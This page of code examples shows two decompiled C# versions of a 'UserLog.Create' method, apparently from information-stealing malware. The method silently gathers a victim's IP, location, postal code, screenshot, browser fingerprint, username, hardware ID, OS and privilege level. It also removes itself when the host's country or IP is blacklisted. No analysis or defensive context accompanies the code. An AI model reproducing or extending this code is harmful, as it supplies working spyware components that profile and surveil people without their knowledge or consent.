Beispiel #1
0
        public static UserLog Create(ClientSettings settings)
        {
            UserLog userLog = new UserLog();

            try
            {
                GeoInfo        geoInfo            = GeoHelper.Get();
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                Size         size         = Screen.PrimaryScreen.Bounds.Size;
                string       text         = System.TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                userLog.IP         = geoInfo.IP;
                userLog.Location   = geoInfo.Location;
                userLog.Country    = geoInfo.Country;
                userLog.Screenshot = CaptureScreen();
                userLog.UserAgent  = UserAgentDetector.GetUserAgent();
                IList <string> blacklistedCountry2 = settings.BlacklistedCountry;
                if (blacklistedCountry2 != null && blacklistedCountry2.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                userLog.HWID              = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + wmiDiskDrive.SerialNumber).Replace("-", string.Empty);
                userLog.CurrentLanguage   = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                userLog.TimeZone          = "UTC" + text;
                userLog.MonitorSize       = $"{size.Width}x{size.Height}";
                userLog.IsProcessElevated = NativeMethods.IsUserAnAdmin();
                userLog.UacType           = UacHelper.AdminPromptBehavior;
                userLog.OS       = OsDetector.GetWindowsVersion();
                userLog.Username = Environment.UserName;
                return(userLog);
            }
            catch
            {
                return(userLog);
            }
            finally
            {
                userLog.HWID            = (string.IsNullOrWhiteSpace(userLog.HWID) ? "UNKNOWN" : userLog.HWID);
                userLog.IP              = (string.IsNullOrWhiteSpace(userLog.IP) ? "UNKNOWN" : userLog.IP);
                userLog.MonitorSize     = (string.IsNullOrWhiteSpace(userLog.MonitorSize) ? "UNKNOWN" : userLog.MonitorSize);
                userLog.OS              = (string.IsNullOrWhiteSpace(userLog.OS) ? "UNKNOWN" : userLog.OS);
                userLog.TimeZone        = (string.IsNullOrWhiteSpace(userLog.TimeZone) ? "UNKNOWN" : userLog.TimeZone);
                userLog.Username        = (string.IsNullOrWhiteSpace(userLog.Username) ? "UNKNOWN" : userLog.Username);
                userLog.Location        = (string.IsNullOrWhiteSpace(userLog.Location) ? "UNKNOWN" : userLog.Location);
                userLog.Country         = (string.IsNullOrWhiteSpace(userLog.Country) ? "UNKNOWN" : userLog.Country);
                userLog.CurrentLanguage = (string.IsNullOrWhiteSpace(userLog.CurrentLanguage) ? "UNKNOWN" : userLog.CurrentLanguage);
                userLog.UserAgent       = (string.IsNullOrWhiteSpace(userLog.UserAgent) ? "UNKNOWN" : userLog.UserAgent);
            }
        }
Beispiel #2
0
        // Token: 0x060000AB RID: 171 RVA: 0x00003698 File Offset: 0x00001898
        public static UserLog Create(ClientSettings settings)
        {
            UserLog result = default(UserLog);

            try
            {
                GeoInfo geoInfo = GeoHelper.Get();
                geoInfo.IP         = (string.IsNullOrWhiteSpace(geoInfo.IP) ? "UNKNOWN" : geoInfo.IP);
                geoInfo.Location   = (string.IsNullOrWhiteSpace(geoInfo.Location) ? "UNKNOWN" : geoInfo.Location);
                geoInfo.Country    = (string.IsNullOrWhiteSpace(geoInfo.Country) ? "UNKNOWN" : geoInfo.Country);
                geoInfo.PostalCode = (string.IsNullOrWhiteSpace(geoInfo.PostalCode) ? "UNKNOWN" : geoInfo.PostalCode);
                IList <string> blacklistedCountry = settings.BlacklistedCountry;
                if (blacklistedCountry != null && blacklistedCountry.Count > 0 && settings.BlacklistedCountry.Contains(geoInfo.Country))
                {
                    InstallManager.RemoveCurrent();
                }
                IList <string> blacklistedIP = settings.BlacklistedIP;
                if (blacklistedIP != null && blacklistedIP.Count > 0 && settings.BlacklistedIP.Contains(geoInfo.IP))
                {
                    InstallManager.RemoveCurrent();
                }
                WmiDiskDrive wmiDiskDrive = null;
                try
                {
                    wmiDiskDrive = new WmiService().QueryFirst <WmiDiskDrive>(new WmiDiskDriveQuery());
                }
                catch (Exception)
                {
                }
                result.HWID = DecryptHelper.GetMd5Hash(Environment.UserDomainName + Environment.UserName + ((wmiDiskDrive != null) ? wmiDiskDrive.SerialNumber : null)).Replace("-", string.Empty);
                string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                result.IP         = geoInfo.IP;
                result.Location   = geoInfo.Location;
                result.Country    = geoInfo.Country;
                result.PostalCode = geoInfo.PostalCode;
                if (settings.GrabScreenshot)
                {
                    result.Screenshot = UserLogHelper.CaptureScreen();
                }
                if (settings.GrabUserAgent)
                {
                    result.FingerPrint = UserAgentDetector.GetFingerPrint();
                }
                else
                {
                    result.FingerPrint = new FingerPrint
                    {
                        Plugins            = "UNKNOWN",
                        UserAgent          = "UNKNOWN",
                        WebBaseGlRenderer  = "UNKNOWN",
                        WebBaseGlVendor    = "UNKNOWN",
                        WebBaseGlVersion   = "UNKNOWN",
                        WebDebugGlRenderer = "UNKNOWN",
                        WebDebugGlVendor   = "UNKNOWN"
                    };
                }
                result.CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName;
                result.TimeZone        = "UTC" + text;
                Size size = Screen.PrimaryScreen.Bounds.Size;
                result.MonitorSize       = string.Format("{0}x{1}", size.Width, size.Height);
                result.IsProcessElevated = false;
                result.OS       = OsDetector.GetWindowsVersion();
                result.Username = Environment.UserName;
            }
            catch (Exception)
            {
            }
            finally
            {
                result.HWID            = (string.IsNullOrWhiteSpace(result.HWID) ? "UNKNOWN" : result.HWID);
                result.MonitorSize     = (string.IsNullOrWhiteSpace(result.MonitorSize) ? "UNKNOWN" : result.MonitorSize);
                result.OS              = (string.IsNullOrWhiteSpace(result.OS) ? "UNKNOWN" : result.OS);
                result.TimeZone        = (string.IsNullOrWhiteSpace(result.TimeZone) ? "UNKNOWN" : result.TimeZone);
                result.Username        = (string.IsNullOrWhiteSpace(result.Username) ? "UNKNOWN" : result.Username);
                result.IP              = (string.IsNullOrWhiteSpace(result.IP) ? "UNKNOWN" : result.IP);
                result.PostalCode      = (string.IsNullOrWhiteSpace(result.PostalCode) ? "UNKNOWN" : result.PostalCode);
                result.Location        = (string.IsNullOrWhiteSpace(result.Location) ? "UNKNOWN" : result.Location);
                result.Country         = (string.IsNullOrWhiteSpace(result.Country) ? "UNKNOWN" : result.Country);
                result.CurrentLanguage = (string.IsNullOrWhiteSpace(result.CurrentLanguage) ? "UNKNOWN" : result.CurrentLanguage);
            }
            return(result);
        }